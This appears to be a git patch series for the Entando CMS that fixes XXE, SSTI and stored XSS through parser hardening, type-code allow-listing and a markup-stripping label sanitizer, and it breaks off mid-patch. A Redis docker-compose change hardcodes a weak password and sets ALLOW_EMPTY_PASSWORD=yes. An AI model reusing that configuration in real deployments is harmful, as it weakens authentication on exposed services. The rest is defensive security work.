From 63c91ad426baffbd68b15acd00bc1b322d69b582 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Wed, 24 Jun 2026 12:31:24 +0200 Subject: [PATCH 01/17] ESB-1146 Fix XEE in PageModelDOM --- .../agiletec/aps/system/services/pagemodel/PageModelDOM.java | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/engine/src/main/java/com/agiletec/aps/system/services/pagemodel/PageModelDOM.java b/engine/src/main/java/com/agiletec/aps/system/services/pagemodel/PageModelDOM.java index 75c661f35..66835e1fe 100644 --- a/engine/src/main/java/com/agiletec/aps/system/services/pagemodel/PageModelDOM.java +++ b/engine/src/main/java/com/agiletec/aps/system/services/pagemodel/PageModelDOM.java @@ -109,6 +109,10 @@ private Element buildSketchXML(Frame frame) { private void decodeDOM(String xmlText) throws EntException { SAXBuilder builder = new SAXBuilder(); builder.setValidation(false); + builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + builder.setFeature("http://xml.org/sax/features/external-general-entities", false); + builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + builder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); StringReader reader = new StringReader(xmlText); try { _doc = builder.build(reader); From 567e5fc93ce5226c866b2cb3692449b8d0703d8a Mon Sep 17 00:00:00 2001 From: ffalqui Date: Thu, 25 Jun 2026 12:39:53 +0200 Subject: [PATCH 02/17] Update Redis Docker images to specific legacy versions and adjust Sentinel configuration --- redis-plugin/docker-compose-sentinel.yaml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/redis-plugin/docker-compose-sentinel.yaml b/redis-plugin/docker-compose-sentinel.yaml index d5309e8de..64b4ebbf1 100644 --- a/redis-plugin/docker-compose-sentinel.yaml +++ b/redis-plugin/docker-compose-sentinel.yaml @@ -6,7 +6,7 @@ networks: services: redis: - image: 'bitnami/redis:latest' + image: 'bitnamilegacy/redis:7.0.8-debian-11-r12' environment: - REDIS_REPLICATION_MODE=master - REDIS_PASSWORD=str0ng_passw0rd @@ -15,7 +15,7 @@ services: ports: - '6379' redis-slave: - image: 'bitnami/redis:latest' + image: 'bitnamilegacy/redis:7.0.8-debian-11-r12' environment: - REDIS_REPLICATION_MODE=slave - REDIS_MASTER_HOST=redis @@ -31,6 +31,7 @@ services: image: 'bitnami/redis-sentinel:latest' environment: - REDIS_MASTER_PASSWORD=str0ng_passw0rd + - ALLOW_EMPTY_PASSWORD=yes depends_on: - redis - redis-slave From bb4797ca85b73ddb05533682f386e78f0de21a7d Mon Sep 17 00:00:00 2001 From: ffalqui Date: Thu, 25 Jun 2026 12:36:17 +0200 Subject: [PATCH 03/17] ESB-1145 FIX SSTI in resourceTypeCode --- .../jacms/apsadmin/resource/AbstractResourceAction.java | 9 ++++++++- .../jacms/apsadmin/resource/MultipleResourceAction.java | 6 ++++++ .../apsadmin/resource/TestMultipleResourceAction.java | 8 ++++---- 3 files changed, 18 insertions(+), 5 deletions(-) diff --git a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/resource/AbstractResourceAction.java b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/resource/AbstractResourceAction.java index 5507df191..9c39f5d17 100644 --- a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/resource/AbstractResourceAction.java +++ b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/resource/AbstractResourceAction.java @@ -28,7 +28,7 @@ * @author E.Santoboni */ public abstract class AbstractResourceAction extends AbstractTreeAction { - + public List getResourceTypeCodes() { return this.getResourceManager().getResourceTypeCodes(); } @@ -58,7 +58,14 @@ public ResourceInterface loadResource(String resourceId) throws Throwable { public String getResourceTypeCode() { return _resourceTypeCode; } + + // Accept only registered type codes; neutralizes reflected input at the single bind point (SSTI, WSTG-INPV-18). public void setResourceTypeCode(String resourceTypeCode) { + if (null != resourceTypeCode && null != this.getResourceManager() + && !this.getResourceManager().getResourceTypeCodes().contains(resourceTypeCode)) { + this._resourceTypeCode = null; + return; + } this._resourceTypeCode = resourceTypeCode; } diff --git a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/resource/MultipleResourceAction.java b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/resource/MultipleResourceAction.java index e2ccbdeee..a87dda240 100644 --- a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/resource/MultipleResourceAction.java +++ b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/resource/MultipleResourceAction.java @@ -47,6 +47,12 @@ public class MultipleResourceAction extends ResourceAction { public void validate() { logger.debug("MultipleResourceAction validate"); savedId.clear(); + // Reject unregistered type codes: blocks save() on unknown type and reflected sinks (SSTI, WSTG-INPV-18). + if (!this.getResourceManager().getResourceTypeCodes().contains(this.getResourceTypeCode())) { + logger.warn("Rejected unknown resourceTypeCode value"); + this.addFieldError("resourceTypeCode", this.getText("error.resource.file.genericError")); + return; + } if (ApsAdminSystemConstants.EDIT == this.getStrutsAction()) { this.fetchFileDescriptions(); addFieldErrors(validateFileDescriptions()); diff --git a/cms-plugin/src/test/java/com/agiletec/plugins/jacms/apsadmin/resource/TestMultipleResourceAction.java b/cms-plugin/src/test/java/com/agiletec/plugins/jacms/apsadmin/resource/TestMultipleResourceAction.java index f49b5cdb9..434739cdc 100644 --- a/cms-plugin/src/test/java/com/agiletec/plugins/jacms/apsadmin/resource/TestMultipleResourceAction.java +++ b/cms-plugin/src/test/java/com/agiletec/plugins/jacms/apsadmin/resource/TestMultipleResourceAction.java @@ -92,8 +92,8 @@ void testSaveNewResourceStrutsValidation() throws Throwable { assertEquals(Action.INPUT, result); ActionSupport action = this.getAction(); Map> actionFieldErrors = action.getFieldErrors(); - assertEquals(6, actionFieldErrors.size()); - assertEquals(1, actionFieldErrors.get("resourceTypeCode").size()); + assertEquals(2, actionFieldErrors.size()); + assertEquals(2, actionFieldErrors.get("resourceTypeCode").size()); assertEquals(1, actionFieldErrors.get("mainGroup").size()); } @@ -131,8 +131,8 @@ void testSaveNewResource_2() throws Throwable { assertEquals(Action.INPUT, result); ActionSupport action = this.getAction(); Map> actionFieldErrors = action.getFieldErrors(); - assertEquals(5, actionFieldErrors.size()); - assertEquals(1, actionFieldErrors.get("resourceTypeCode").size()); + assertEquals(1, actionFieldErrors.size()); + assertEquals(2, actionFieldErrors.get("resourceTypeCode").size()); } From 0f828416d9545519e26d0694831c66af7172495e Mon Sep 17 00:00:00 2001 From: alexcasent Date: Thu, 25 Jun 2026 16:40:42 +0200 Subject: [PATCH 04/17] ESB-1144 FIX XSS in ContentManager --- .../services/content/ContentManager.java | 2 + .../content/helper/ContentActionHelper.java | 4 +- .../entando/ent/util/LabelSanitizer.java | 53 +++++++++++++++++++ 3 files changed, 58 insertions(+), 1 deletion(-) create mode 100644 engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java diff --git a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/content/ContentManager.java b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/content/ContentManager.java index 1ec8ee373..b8454945a 100644 --- a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/content/ContentManager.java +++ b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/content/ContentManager.java @@ -45,6 +45,7 @@ import org.entando.entando.ent.exception.EntRuntimeException; import org.entando.entando.ent.util.EntLogging.EntLogFactory; import org.entando.entando.ent.util.EntLogging.EntLogger; +import org.entando.entando.ent.util.LabelSanitizer; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.cache.annotation.CacheEvict; @@ -293,6 +294,7 @@ public String addContent(Content content) throws EntException { private String addUpdateContent(Content content, boolean updateDate) throws EntException { String id = null; try { + content.setDescription(LabelSanitizer.stripMarkup(content.getDescription())); content.setLastModified(new Date()); if (updateDate) { content.incrementVersion(false); diff --git a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/content/helper/ContentActionHelper.java b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/content/helper/ContentActionHelper.java index f86eed98c..5f2284175 100644 --- a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/content/helper/ContentActionHelper.java +++ b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/apsadmin/content/helper/ContentActionHelper.java @@ -23,6 +23,7 @@ import org.apache.commons.lang3.StringUtils; import org.apache.struts2.ServletActionContext; import org.entando.entando.aps.system.services.actionlog.model.ActivityStreamInfo; +import org.entando.entando.ent.util.LabelSanitizer; import org.entando.entando.plugins.jacms.aps.system.services.content.helper.IContentHelper; import org.entando.entando.plugins.jacms.aps.util.CmsPageUtil; import org.entando.entando.ent.util.EntLogging.EntLogger; @@ -134,7 +135,8 @@ public void scanEntity(IApsEntity entity, ActionSupport action) { String[] args = {String.valueOf(maxLength)}; action.addFieldError(DESCR, action.getText("error.content.descr.wrongMaxLength", args)); } - if (!descr.matches("([^\"])+")) { + if (!descr.matches("[^\"<>]+")) { + content.setDescription(LabelSanitizer.stripMarkup(content.getDescription())); action.addFieldError(DESCR, action.getText("error.content.descr.wrongCharacters")); } } diff --git a/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java b/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java new file mode 100644 index 000000000..1adb08e9c --- /dev/null +++ b/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java @@ -0,0 +1,53 @@ +/* + * Copyright 2015-Present Entando Inc. (http://www.entando.com) All rights reserved. + * + * This library is free software; you can redistribute it and/or modify it under + * the terms of the GNU Lesser General Public License as published by the Free + * Software Foundation; either version 2.1 of the License, or (at your option) + * any later version. + * + * This library is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more + * details. + */ +package org.entando.entando.ent.util; + +import java.util.ArrayList; +import com.agiletec.aps.util.ApsProperties; + +/** + * Neutralizes stored XSS in short free-text label fields (titles, names, + * descriptions) by removing the characters that allow HTML element injection. + */ +public final class LabelSanitizer { + + private LabelSanitizer() { + } + + /** + * The single quote is intentionally preserved, being legitimate and common in + * titles/descriptions; all known attribute sinks for these fields are double-quoted. + * Null-safe and idempotent. + */ + public static String stripMarkup(String value) { + return (value == null) ? null + : value.replace("<", "").replace(">", "").replace("\"", ""); + } + + /** + * Applies {@link #stripMarkup(String)} to every String value of the given properties + * in place (e.g. the per-language titles/names maps). + */ + public static void stripMarkup(ApsProperties properties) { + if (null == properties) { + return; + } + for (Object key : new ArrayList<>(properties.keySet())) { + Object value = properties.get(key); + if (value instanceof String) { + properties.put(key, stripMarkup((String) value)); + } + } + } +} \ No newline at end of file From 2f4342ee664ce8aec0a0a6930a9b92da7001c812 Mon Sep 17 00:00:00 2001 From: ffalqui Date: Thu, 25 Jun 2026 17:54:18 +0200 Subject: [PATCH 05/17] ESB-1144 FIX XSS: Sanitize user input by stripping potentially unsafe markup from labels, descriptions, and titles across various services. --- .../contentmodel/ContentModelManager.java | 4 ++++ .../services/resource/ResourceManager.java | 7 +++++-- .../common/entity/ApsEntityManager.java | 19 +++++++++++++++++++ .../services/category/CategoryManager.java | 4 ++++ .../system/services/group/GroupManager.java | 3 +++ .../aps/system/services/page/PageManager.java | 3 +++ .../services/pagemodel/PageModelManager.java | 5 +++++ .../aps/system/services/role/RoleManager.java | 3 +++ .../guifragment/GuiFragmentManager.java | 3 +++ .../widgettype/WidgetTypeManager.java | 3 +++ .../entando/ent/util/LabelSanitizer.java | 4 ++-- 11 files changed, 54 insertions(+), 4 deletions(-) diff --git a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/contentmodel/ContentModelManager.java b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/contentmodel/ContentModelManager.java index 91dddcda8..a91ed57f0 100644 --- a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/contentmodel/ContentModelManager.java +++ b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/contentmodel/ContentModelManager.java @@ -33,6 +33,8 @@ import java.util.List; import java.util.Map; import java.util.Properties; + +import org.entando.entando.ent.util.LabelSanitizer; import org.entando.entando.plugins.jacms.aps.system.services.content.widget.RowContentListHelper; import org.entando.entando.ent.util.EntLogging.EntLogger; import org.entando.entando.ent.util.EntLogging.EntLogFactory; @@ -113,6 +115,7 @@ public void releaseTenantAware() { */ @Override public void addContentModel(ContentModel model) throws EntException { + model.setDescription(LabelSanitizer.stripMarkup(model.getDescription())); try { this.getContentModelDAO().addContentModel(model); this.getCacheWrapper().addContentModel(model); @@ -149,6 +152,7 @@ public void removeContentModel(ContentModel model) throws EntException { */ @Override public void updateContentModel(ContentModel model) throws EntException { + model.setDescription(LabelSanitizer.stripMarkup(model.getDescription())); try { this.getContentModelDAO().updateContentModel(model); this.getCacheWrapper().updateContentModel(model); diff --git a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/resource/ResourceManager.java b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/resource/ResourceManager.java index 4b0d5ee5a..7184c476a 100644 --- a/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/resource/ResourceManager.java +++ b/cms-plugin/src/main/java/com/agiletec/plugins/jacms/aps/system/services/resource/ResourceManager.java @@ -40,6 +40,7 @@ import org.entando.entando.ent.util.EntLogging.EntLogger; import org.entando.entando.ent.util.EntLogging.EntLogFactory; import org.entando.entando.ent.util.EntSafeXmlUtils; +import org.entando.entando.ent.util.LabelSanitizer; import org.xml.sax.InputSource; import jakarta.xml.bind.JAXBContext; @@ -244,6 +245,7 @@ public void deleteResources(List resources) throws EntExcepti */ @Override public void addResource(ResourceInterface resource) throws EntException { + resource.setDescription(LabelSanitizer.stripMarkup(resource.getDescription())); try { this.generateAndSetResourceId(resource, resource.getId()); this.getResourceDAO().addResource(resource); @@ -268,7 +270,7 @@ public void updateResource(ResourceDataBean bean) throws EntException { ResourceInterface oldResource = this.loadResource(bean.getResourceId()); try { if (null == bean.getInputStream()) { - oldResource.setDescription(bean.getDescr()); + oldResource.setDescription(LabelSanitizer.stripMarkup(bean.getDescr())); oldResource.setCategories(bean.getCategories()); oldResource.setMetadata(bean.getMetadata()); oldResource.setMainGroup(bean.getMainGroup()); @@ -299,6 +301,7 @@ public void updateResource(ResourceDataBean bean) throws EntException { */ @Override public void updateResource(ResourceInterface resource) throws EntException { + resource.setDescription(LabelSanitizer.stripMarkup(resource.getDescription())); try { this.getResourceDAO().updateResource(resource); this.notifyResourceChanging(resource, ResourceChangedEvent.UPDATE_OPERATION_CODE); @@ -310,7 +313,7 @@ public void updateResource(ResourceInterface resource) throws EntException { protected ResourceInterface createResource(ResourceDataBean bean) throws EntException { ResourceInterface resource = this.createResourceType(bean.getResourceType()); - resource.setDescription(bean.getDescr()); + resource.setDescription(LabelSanitizer.stripMarkup(bean.getDescr())); resource.setMainGroup(bean.getMainGroup()); resource.setCategories(bean.getCategories()); resource.setMasterFileName(bean.getFileName()); diff --git a/engine/src/main/java/com/agiletec/aps/system/common/entity/ApsEntityManager.java b/engine/src/main/java/com/agiletec/aps/system/common/entity/ApsEntityManager.java index bd56e904e..82ec4a72a 100644 --- a/engine/src/main/java/com/agiletec/aps/system/common/entity/ApsEntityManager.java +++ b/engine/src/main/java/com/agiletec/aps/system/common/entity/ApsEntityManager.java @@ -59,6 +59,7 @@ import org.apache.commons.beanutils.BeanComparator; import org.entando.entando.ent.util.EntLogging.EntLogger; import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.LabelSanitizer; import org.xml.sax.InputSource; import org.xml.sax.SAXException; @@ -271,6 +272,7 @@ public void updateEntityPrototype(IApsEntity entityType) throws EntException { if (null == entityType) { throw new EntException("Invalid entity type to update"); } + this.sanitizeEntityTypeLabels(entityType); Map entityTypes = this.getEntityTypes(); IApsEntity oldEntityType = entityTypes.get(entityType.getTypeCode()); if (null == oldEntityType) { @@ -282,6 +284,23 @@ public void updateEntityPrototype(IApsEntity entityType) throws EntException { this.notifyEntityTypesChanging(oldEntityType, entityType, EntityTypesChangingEvent.UPDATE_OPERATION_CODE); } + /** + * Strips markup from the user-supplied label fields of an entity type (its description + * and the name/description of each attribute) before it is persisted + */ + private void sanitizeEntityTypeLabels(IApsEntity entityType) { + entityType.setTypeCode(LabelSanitizer.stripMarkup(entityType.getTypeCode())); + entityType.setTypeDescription(LabelSanitizer.stripMarkup(entityType.getTypeDescription())); + List attributes = entityType.getAttributeList(); + if (null != attributes) { + for (AttributeInterface attribute : attributes) { + attribute.setName(LabelSanitizer.stripMarkup(attribute.getName())); + attribute.setDescription(LabelSanitizer.stripMarkup(attribute.getDescription())); + LabelSanitizer.stripMarkup(attribute.getNames()); + } + } + } + protected void verifyReloadingNeeded(IApsEntity oldEntityType, IApsEntity newEntityType) { if (this.getStatus(newEntityType.getTypeCode()) == STATUS_NEED_TO_RELOAD_REFERENCES) { return; diff --git a/engine/src/main/java/com/agiletec/aps/system/services/category/CategoryManager.java b/engine/src/main/java/com/agiletec/aps/system/services/category/CategoryManager.java index 393bf7ddb..0967cee11 100644 --- a/engine/src/main/java/com/agiletec/aps/system/services/category/CategoryManager.java +++ b/engine/src/main/java/com/agiletec/aps/system/services/category/CategoryManager.java @@ -23,6 +23,7 @@ import org.entando.entando.aps.system.services.tenants.RefreshableBeanTenantAware; import org.entando.entando.ent.util.EntLogging.EntLogger; import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.LabelSanitizer; import org.springframework.beans.factory.BeanFactoryUtils; import org.springframework.beans.factory.ListableBeanFactory; @@ -82,6 +83,8 @@ private void initCache() throws EntException { */ @Override public void addCategory(Category category) throws EntException { + category.setCode(LabelSanitizer.stripMarkup(category.getCode())); + LabelSanitizer.stripMarkup(category.getTitles()); try { this.getCategoryDAO().addCategory(category); this.getCacheWrapper().addCategory(category); @@ -121,6 +124,7 @@ public void deleteCategory(String code) throws EntException { */ @Override public void updateCategory(Category category) throws EntException { + LabelSanitizer.stripMarkup(category.getTitles()); try { this.getCategoryDAO().updateCategory(category); this.getCacheWrapper().updateCategory(category); diff --git a/engine/src/main/java/com/agiletec/aps/system/services/group/GroupManager.java b/engine/src/main/java/com/agiletec/aps/system/services/group/GroupManager.java index e77b7aa0d..565e76392 100644 --- a/engine/src/main/java/com/agiletec/aps/system/services/group/GroupManager.java +++ b/engine/src/main/java/com/agiletec/aps/system/services/group/GroupManager.java @@ -27,6 +27,7 @@ import org.apache.commons.beanutils.BeanComparator; import org.entando.entando.ent.util.EntLogging.EntLogger; import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.LabelSanitizer; /** * Servizio gestore dei gruppi. @@ -87,6 +88,7 @@ public void releaseTenantAware() { @Override public void addGroup(Group group) throws EntException { try { + group.setDescr(LabelSanitizer.stripMarkup(group.getDescr())); this.getGroupDAO().addGroup(group); this.getCacheWrapper().addGroup(group); } catch (Throwable t) { @@ -121,6 +123,7 @@ public void removeGroup(Group group) throws EntException { @Override public void updateGroup(Group group) throws EntException { try { + group.setDescr(LabelSanitizer.stripMarkup(group.getDescr())); this.getGroupDAO().updateGroup(group); this.getCacheWrapper().updateGroup(group); } catch (Throwable t) { diff --git a/engine/src/main/java/com/agiletec/aps/system/services/page/PageManager.java b/engine/src/main/java/com/agiletec/aps/system/services/page/PageManager.java index b1b0337c7..b934f2131 100644 --- a/engine/src/main/java/com/agiletec/aps/system/services/page/PageManager.java +++ b/engine/src/main/java/com/agiletec/aps/system/services/page/PageManager.java @@ -45,6 +45,7 @@ import org.entando.entando.ent.exception.EntException; import org.entando.entando.ent.util.EntLogging.EntLogFactory; import org.entando.entando.ent.util.EntLogging.EntLogger; +import org.entando.entando.ent.util.LabelSanitizer; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; @@ -131,6 +132,7 @@ public synchronized void deletePage(String pageCode) throws EntException { */ @Override public synchronized void addPage(IPage page) throws EntException { + LabelSanitizer.stripMarkup(page.getTitles()); try { IPage parent = this.getDraftPage(page.getParentCode()); if (null == parent) { @@ -165,6 +167,7 @@ public synchronized void addPage(IPage page) throws EntException { */ @Override public synchronized void updatePage(IPage page) throws EntException { + LabelSanitizer.stripMarkup(page.getTitles()); try { this.getPageDAO().updatePage(page); this.getCacheWrapper().updateDraftPage(page); diff --git a/engine/src/main/java/com/agiletec/aps/system/services/pagemodel/PageModelManager.java b/engine/src/main/java/com/agiletec/aps/system/services/pagemodel/PageModelManager.java index d61333449..ba99896b5 100644 --- a/engine/src/main/java/com/agiletec/aps/system/services/pagemodel/PageModelManager.java +++ b/engine/src/main/java/com/agiletec/aps/system/services/pagemodel/PageModelManager.java @@ -23,6 +23,7 @@ import org.entando.entando.aps.system.services.guifragment.GuiFragmentUtilizer; import org.entando.entando.ent.util.EntLogging.EntLogFactory; import org.entando.entando.ent.util.EntLogging.EntLogger; +import org.entando.entando.ent.util.LabelSanitizer; import java.util.*; import java.util.regex.*; @@ -87,6 +88,8 @@ public void addPageModel(PageModel pageModel) throws EntException { logger.debug("Null page template can be add"); return; } + pageModel.setCode(LabelSanitizer.stripMarkup(pageModel.getCode())); + pageModel.setDescription(LabelSanitizer.stripMarkup(pageModel.getDescription())); try { this.getPageModelDAO().addModel(pageModel); this.getCacheWrapper().addPageModel(pageModel); @@ -103,6 +106,8 @@ public void updatePageModel(PageModel pageModel) throws EntException { logger.debug("Null page template can be update"); return; } + pageModel.setCode(LabelSanitizer.stripMarkup(pageModel.getCode())); + pageModel.setDescription(LabelSanitizer.stripMarkup(pageModel.getDescription())); try { PageModel pageModelToUpdate = this.getCacheWrapper().getPageModel(pageModel.getCode()); if (null == pageModelToUpdate) { diff --git a/engine/src/main/java/com/agiletec/aps/system/services/role/RoleManager.java b/engine/src/main/java/com/agiletec/aps/system/services/role/RoleManager.java index 614d622fd..8a3c0a592 100644 --- a/engine/src/main/java/com/agiletec/aps/system/services/role/RoleManager.java +++ b/engine/src/main/java/com/agiletec/aps/system/services/role/RoleManager.java @@ -25,6 +25,7 @@ import com.agiletec.aps.system.services.role.cache.IRoleCacheWrapper; import org.entando.entando.ent.util.EntLogging.EntLogger; import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.LabelSanitizer; /** * Servizio di gestione dei ruoli. @@ -110,6 +111,7 @@ public void removeRole(Role role) throws EntException { */ @Override public void updateRole(Role role) throws EntException { + role.setDescription(LabelSanitizer.stripMarkup(role.getDescription())); try { this.getRoleDAO().updateRole(role); this.getRoleCacheWrapper().updateRole(role); @@ -127,6 +129,7 @@ public void updateRole(Role role) throws EntException { */ @Override public void addRole(Role role) throws EntException { + role.setDescription(LabelSanitizer.stripMarkup(role.getDescription())); try { this.getRoleDAO().addRole(role); this.getRoleCacheWrapper().addRole(role); diff --git a/engine/src/main/java/org/entando/entando/aps/system/services/guifragment/GuiFragmentManager.java b/engine/src/main/java/org/entando/entando/aps/system/services/guifragment/GuiFragmentManager.java index d8ed2609c..88c689599 100644 --- a/engine/src/main/java/org/entando/entando/aps/system/services/guifragment/GuiFragmentManager.java +++ b/engine/src/main/java/org/entando/entando/aps/system/services/guifragment/GuiFragmentManager.java @@ -32,6 +32,7 @@ import org.entando.entando.aps.system.services.guifragment.event.GuiFragmentChangedEvent; import org.entando.entando.ent.util.EntLogging.EntLogger; import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.LabelSanitizer; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.cache.annotation.CacheEvict; @@ -128,6 +129,7 @@ protected FieldSearchFilter[] addFilter(FieldSearchFilter[] filters, FieldSearch @CacheEvict(value = ICacheInfoManager.DEFAULT_CACHE_NAME, key = "'GuiFragment_'.concat(#guiFragment.code)") public void addGuiFragment(GuiFragment guiFragment) throws EntException { try { + guiFragment.setCode(LabelSanitizer.stripMarkup(guiFragment.getCode())); this.getGuiFragmentDAO().insertGuiFragment(guiFragment); this.notifyGuiFragmentChangedEvent(guiFragment, GuiFragmentChangedEvent.INSERT_OPERATION_CODE); this.evictGroups(); @@ -141,6 +143,7 @@ public void addGuiFragment(GuiFragment guiFragment) throws EntException { @CacheEvict(value = ICacheInfoManager.DEFAULT_CACHE_NAME, key = "'GuiFragment_'.concat(#guiFragment.code)") public void updateGuiFragment(GuiFragment guiFragment) throws EntException { try { + guiFragment.setCode(LabelSanitizer.stripMarkup(guiFragment.getCode())); this.getGuiFragmentDAO().updateGuiFragment(guiFragment); this.notifyGuiFragmentChangedEvent(guiFragment, GuiFragmentChangedEvent.UPDATE_OPERATION_CODE); this.evictGroups(); diff --git a/engine/src/main/java/org/entando/entando/aps/system/services/widgettype/WidgetTypeManager.java b/engine/src/main/java/org/entando/entando/aps/system/services/widgettype/WidgetTypeManager.java index 13b7aa545..4229570b2 100644 --- a/engine/src/main/java/org/entando/entando/aps/system/services/widgettype/WidgetTypeManager.java +++ b/engine/src/main/java/org/entando/entando/aps/system/services/widgettype/WidgetTypeManager.java @@ -30,6 +30,7 @@ import org.entando.entando.ent.exception.EntException; import org.entando.entando.ent.util.EntLogging.EntLogFactory; import org.entando.entando.ent.util.EntLogging.EntLogger; +import org.entando.entando.ent.util.LabelSanitizer; import java.util.ArrayList; import java.util.Collections; @@ -120,6 +121,7 @@ public void addWidgetType(WidgetType widgetType) throws EntException { if (null != widgetType.getTypeParameters() && null != widgetType.getConfig()) { throw new EntException("ERROR : Params not null and config not null"); } + LabelSanitizer.stripMarkup(widgetType.getTitles()); this.getWidgetTypeDAO().addWidgetType(widgetType); this.getCacheWrapper().addWidgetType(widgetType); this.notifyWidgetTypeChanging(widgetType.getCode(), WidgetTypeChangedEvent.INSERT_OPERATION_CODE); @@ -220,6 +222,7 @@ public void updateWidgetType(String widgetTypeCode, ApsProperties titles, ApsPro } else { readonlyPageWidgetConfigLocalVar = readonlyPageWidgetConfig; } + LabelSanitizer.stripMarkup(titles); this.getWidgetTypeDAO().updateWidgetType(widgetTypeCode, titles, defaultConfig, mainGroup, configUi, bundleId, readonlyPageWidgetConfigLocalVar, widgetCategory, icon); type.setTitles(titles); type.setConfig(defaultConfig); diff --git a/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java b/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java index 1adb08e9c..507676d7e 100644 --- a/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java +++ b/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java @@ -45,8 +45,8 @@ public static void stripMarkup(ApsProperties properties) { } for (Object key : new ArrayList<>(properties.keySet())) { Object value = properties.get(key); - if (value instanceof String) { - properties.put(key, stripMarkup((String) value)); + if (value instanceof String s) { + properties.put(key, stripMarkup(s)); } } } From 1f7ebbcec69574b55591d8907148dfb04754d6ca Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Fri, 26 Jun 2026 10:58:10 +0200 Subject: [PATCH 06/17] ESB-1126 Improved keycloak configuration handling --- .../KeycloakAuthorizationManager.java | 107 +++-- .../services/KeycloakImportConfig.java | 1 + .../services/mapping/DynamicMapping.java | 3 + .../mapping/DynamicMappingElement.java | 1 + .../services/mapping/FallbackKind.java | 30 ++ .../KeycloakAuthorizationManagerTest.java | 367 ++++++++++++++++++ 6 files changed, 475 insertions(+), 34 deletions(-) create mode 100644 keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/FallbackKind.java diff --git a/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/KeycloakAuthorizationManager.java b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/KeycloakAuthorizationManager.java index 86fd6f20e..1208f1598 100644 --- a/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/KeycloakAuthorizationManager.java +++ b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/KeycloakAuthorizationManager.java @@ -7,6 +7,8 @@ import static org.entando.entando.keycloak.services.mapping.DynamicMappingKind.ROLEGROUP; import static org.entando.entando.keycloak.services.mapping.DynamicMappingKind.ROLEGROUPCLAIM; +import java.util.regex.Pattern; + import com.agiletec.aps.system.common.AbstractService; import com.agiletec.aps.system.services.authorization.Authorization; import com.agiletec.aps.system.services.authorization.AuthorizationManager; @@ -37,6 +39,7 @@ import org.entando.entando.keycloak.services.mapping.DynamicMapping; import org.entando.entando.keycloak.services.mapping.DynamicMappingElement; import org.entando.entando.keycloak.services.mapping.DynamicMappingKind; +import org.entando.entando.keycloak.services.mapping.FallbackKind; import org.entando.entando.keycloak.services.mapping.PersistKind; import org.entando.entando.keycloak.services.oidc.OidcMappingHelper; import org.entando.entando.keycloak.services.oidc.model.KeycloakUser; @@ -102,6 +105,7 @@ public void initTenantAware() throws Exception { List ignore = new ArrayList<>(); List roles = new ArrayList<>(); List groups = new ArrayList<>(); + List excludeUsers = new ArrayList<>(); Boolean enabled = false; PersistKind persist = PersistKind.FULL; @@ -130,6 +134,8 @@ public void initTenantAware() throws Exception { .orElseGet(List::of); groups = ofNullable(dynConf.groups) .orElse(List.of()); + excludeUsers = ofNullable(dynConf.excludeUsers) + .orElse(List.of()); enabled = ofNullable(dynConf.enabled) .orElse(false); persist = ofNullable(dynConf.persist) @@ -143,12 +149,12 @@ public void initTenantAware() throws Exception { jwtMappings.forEach(m -> log.debug("jwt mapping active: {}", m.toString())); } // finally - KeycloakImportConfig cfg = new KeycloakImportConfig(profileMappings, jwtMappings, ignore, roles, groups, enabled, persist); + KeycloakImportConfig 